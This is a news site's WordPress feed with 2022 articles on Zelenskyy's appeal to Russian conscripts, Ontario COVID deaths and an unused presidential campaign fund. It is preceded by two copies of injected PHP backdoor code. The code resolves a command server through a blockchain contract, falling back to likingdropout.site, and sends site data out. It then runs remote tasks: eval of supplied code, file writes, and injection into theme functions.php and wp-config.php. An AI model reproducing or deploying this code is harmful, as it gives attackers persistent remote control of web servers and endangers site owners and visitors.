// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); than – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 25 Sep 2022 06:42:50 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png than – Brief News https://briefnews.eu 32 32 Zelenskyy urges Russian conscripts to ‘sabotage’ military operations and offers protections to those who surrender: ‘It is better to surrender to Ukrainian captivity than to be killed by the strikes of our weapons’ https://briefnews.eu/zelenskyy-urges-russian-conscripts-to-sabotage-military-operations-and-offers-protections-to-those-who-surrender-it-is-better-to-surrender-to-ukrainian-captivity-than-to-be-killed-by-the-strike/ https://briefnews.eu/zelenskyy-urges-russian-conscripts-to-sabotage-military-operations-and-offers-protections-to-those-who-surrender-it-is-better-to-surrender-to-ukrainian-captivity-than-to-be-killed-by-the-strike/#respond Sun, 25 Sep 2022 06:42:50 +0000 https://briefnews.eu/zelenskyy-urges-russian-conscripts-to-sabotage-military-operations-and-offers-protections-to-those-who-surrender-it-is-better-to-surrender-to-ukrainian-captivity-than-to-be-killed-by-the-strike/ Volodymyr Zelenskyy
Ukrainian President Volodyrmyr Zelenskyy seen on March 10, 2022.

Office of the President of Ukraine

  • Russian President Volodymyr Zelenskyy is seeking aid from Russian conscripts.
  • He's urged them to "sabotage" Russian forces and report intel to Ukrainian forces.
  • Zelenskyy also urged Russians to surrender and guaranteed their safety.

Ukrainian President Volodymyr Zelenskyy is moving to overtake Russia from the inside out. 

Russia's seven-month effort to conquer its neighbor, Ukraine, has recently been marked by a partial military mobilization, the country's first since World War II, NBC News reported.

Russian President Vladimir Putin's mobilization effort impacts 300,000 reservists — many of whom are going to great lengths to avoid being drafted. Some have even headed to the border, despite facing up to 10 years in prison for desertion.

In a video address late on Friday Ukraine time, Zelenskyy said he seeks to "sabotage" Russia's unprovoked efforts to conquer the country.

"If you get into the Russian army, then sabotage any enemy activity, interfere with any Russian operations, give us all important information about the occupiers: their bases, headquarters, ammunition depots," Zelenskyy said, addressing Russsian conscripts.  

The mobilization effort comes after Ukrainian forces reclaimed much of Kharkiv, pushing Russian troops to hide amongst locals or retreat.

Russian troops are reportedly demoralized as their numbers wane.  The Pentagon estimates Russian forces have faced anywhere between 70,000 and 80,000 casualties. Many Russians have grown to condemn the war as protests — and more than 1,000 arrests — ensue across the country.

In a Saturday address, Zelenskyy urged Russian forces to surrender, guaranteeing their safety.

"It is better to surrender to Ukrainian captivity than to be killed by the strikes of our weapons, absolutely fair strikes, as Ukraine defends itself in this war. We defend the brightest — we defend our lives, our children, our freedom," he said, according to his website.

"Russian commanders do not care about the lives of Russians — they just need to replenish the empty spaces left by the dead, wounded, those who fled or the Russian soldiers that were captured," the Ukrainian President added.

British and US officials argue that Putin's latest war efforts — including the mobilization effort and threatening the use of nuclear weapons — could mean his invasion is not going as planned.

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]]> https://briefnews.eu/zelenskyy-urges-russian-conscripts-to-sabotage-military-operations-and-offers-protections-to-those-who-surrender-it-is-better-to-surrender-to-ukrainian-captivity-than-to-be-killed-by-the-strike/feed/ 0 Ontario reports 65 new COVID-19 deaths, with vaccine uptake for children lower than expected https://briefnews.eu/ontario-reports-65-new-covid-19-deaths-with-vaccine-uptake-for-children-lower-than-expected/ https://briefnews.eu/ontario-reports-65-new-covid-19-deaths-with-vaccine-uptake-for-children-lower-than-expected/#respond Fri, 23 Sep 2022 14:48:06 +0000 https://briefnews.eu/ontario-reports-65-new-covid-19-deaths-with-vaccine-uptake-for-children-lower-than-expected/ Virus Outbreak Vaccine Kids

Ontario is reporting 65 new deaths linked to COVID-19 as the number of children under the age of five getting vaccinated against the virus is even lower than the relatively low number many experts had expected.

]]> https://briefnews.eu/ontario-reports-65-new-covid-19-deaths-with-vaccine-uptake-for-children-lower-than-expected/feed/ 0 How more than $424 million in taxpayer money is locked away in a forgotten government fund — and lawmakers won’t spend it or return it https://briefnews.eu/how-more-than-424-million-in-taxpayer-money-is-locked-away-in-a-forgotten-government-fund-and-lawmakers-wont-spend-it-or-return-it/ https://briefnews.eu/how-more-than-424-million-in-taxpayer-money-is-locked-away-in-a-forgotten-government-fund-and-lawmakers-wont-spend-it-or-return-it/#respond Thu, 22 Sep 2022 11:55:13 +0000 https://briefnews.eu/how-more-than-424-million-in-taxpayer-money-is-locked-away-in-a-forgotten-government-fund-and-lawmakers-wont-spend-it-or-return-it/ An American flag over a $ 100 bill
A pool of more than $ 424.4 million contributed by taxpayers is waiting for Congress to decide how best to use it. In the meantime, no one is using it — and they haven't for years.

Bill Oxford/Getty Images

  • The money is supposed to publicly fund presidential campaigns. But it doesn't.
  • Republicans and Democrats in Congress can't agree on what to do with the ever-growing pot.
  • Charities told Insider the money could do great good for suffering Americans.
  • See more stories on Insider's business page.

Holed away in a government account is a massive cash stash most anyone — from depleted federal programs to American taxpayers — would love to tap.

But it sits idle and untouched.

The intended beneficiaries of the taxpayer-fueled Presidential Election Campaign Fund — presidential candidates — don't want it, as they're soured by its restrictions on their election fundraising and spending.

Other prospective recipients, meanwhile, can't have it.

Congress is what's preventing this. Conservatives would prefer to disband the fund and repurpose its money. Many Democrats want the money to seed a reimagined public campaign-finance program contained within a broader "democracy-reform" agenda that's hamstrung on Capitol Hill. Neither side will budge.

Meanwhile, the Presidential Election Campaign Fund's pot had topped more than $ 424.4 million, as of August 31 — a record amount during the fund's nearly 50-year history, according to US Treasury records reviewed by Insider. 

A US Treasury document detailing the finances of the Presidential Election Campaign Fund.
A US Treasury document detailing the finances of the Presidential Election Campaign Fund.

US Treasury

The fund grew by more than $ 600,000 from August 1 to August 31, according to US Treasury records.

If current trends continue, the fund will continue to grow each month by six- or seven-figures thanks to the financial heft generated by American taxpayers who check that little box on their annual tax return that directs $ 3 to the fund.

'Help people and communities recover'

In a congressional session when lawmakers are measuring economic relief, infrastructure, and "inflation reduction" bills in the billions or trillions of dollars, a few hundred million deserted federal greenbacks may seem comparatively paltry.

But some charitable organizations that serve people often possess next to nothing. Several nonprofit leaders told Insider that Congress could use the Presidential Election Campaign Fund money to immediately ease suffering, particularly in light of the COVID-19 pandemic.

"The best possible use of $ 400 million would be to provide funds for charities to help people and communities recover," Steve Taylor, United Way Worldwide's senior vice president and counsel for public policy, said, citing a looming eviction crisis, a burdened childcare system, education challenges, and mental-health needs among urgent pandemic-era problems. "Charities are leading the way in addressing these problems, and $ 400 million in new funding would be a game changer."

While the federal government has directed significant funding toward its COVID-19 response, the pandemic is far from over, and people around the world will endure its aftereffects for a long while, said Judy Monroe, the president and CEO of the CDC Foundation, an independent nonprofit that supports the Centers for Disease Control and Prevention's health-protection work.

"Additional federal funds that are not actively being utilized could, as deemed appropriate by Congress, be repurposed and brought to bear to address critical needs from COVID-19 to health inequities to strengthening the nation's public-health system to be prepared for the next, inevitable outbreak," Monroe told Insider.

Erika Cotton Boyce, a Habitat for Humanity spokesperson, declined to speak specifically about the Presidential Election Campaign Fund but broadly said Congress should "find resources to fund critical programs that will address housing supply and housing affordability, especially homeownership programs for low-income families."

Congress has various mechanisms for directing public funding to nonprofit entities. A bill introduced by Sen. Amy Klobuchar, a Minnesota Democrat, hopes to further help charitable nonprofits "provide services to meet the increasing demand in community needs caused by the coronavirus pandemic, preserve and create jobs in the nonprofit sector, reduce unemployment, and promote economic recovery."

Sen. Joni Ernst
Sen. Joni Ernst, a Republican of Iowa, wants the money sent to the US Treasury's general fund and used to help reduce the federal budget deficit.

Andrew Harnik-Pool/Getty Images

Debt reduction, pediatric care, Alzheimer's research

Some lawmakers and special-interest advocates have other designs on the more than $ 424 million.

During the 2019-20 congressional session, two Republican lawmakers sponsored similar bills that attempted to kill the Presidential Election Campaign Fund.

Rep. Tom Cole of Oklahoma sought to transfer the campaign fund's cash balance to a pediatric-research initiative administered by the National Institutes of Health.

Sen. Joni Ernst of Iowa, meanwhile, wanted the money sent to the US Treasury's general fund and used to help reduce the federal budget deficit.

Neither bill received a hearing, let alone a vote.

In September, Ernst tried again with a similar bill that so far has garnered little support.

That's a shame, said Joshua Sewell, a senior policy analyst at the nonpartisan Taxpayers for Common Sense who deemed the campaign fund "a vestige of a bygone era." He recommended its money be used to help pay down the country's national debt, which stood at more than $ 30.3 trillion as of April 30, according to the Treasury Department. 

Bradley Smith, a former Federal Election Commission chairman who now leads the nonprofit Institute for Free Speech, said Congress should repeal the law establishing the fund and direct its money to the Treasury's general fund. 

In April, the nonprofit Bipartisan Policy Center released a report that recommended reallocating the fund's money to election administration. Doing so, it said, would provide "consistent, additional federal resources to meet a clear and growing need … this incentivizes state and local governments to invest in their election infrastructure as well."  

Cole plans to reintroduce a new bill targeting the presidential fund, he told Insider. And he's open to broadening where the more than $ 424 million might go.

"If the money were to be redirected somewhere other than pediatric-disease research, Alzheimer's research would certainly be a worthy cause," Cole said.

Resist and reform

Congressional Democrats in 2021 made voting, ethics, and campaign-finance reform a chief priority, which is enshrined in bills known as HR 1 and S 1 — colloquially, the "For the People Act of 2021."

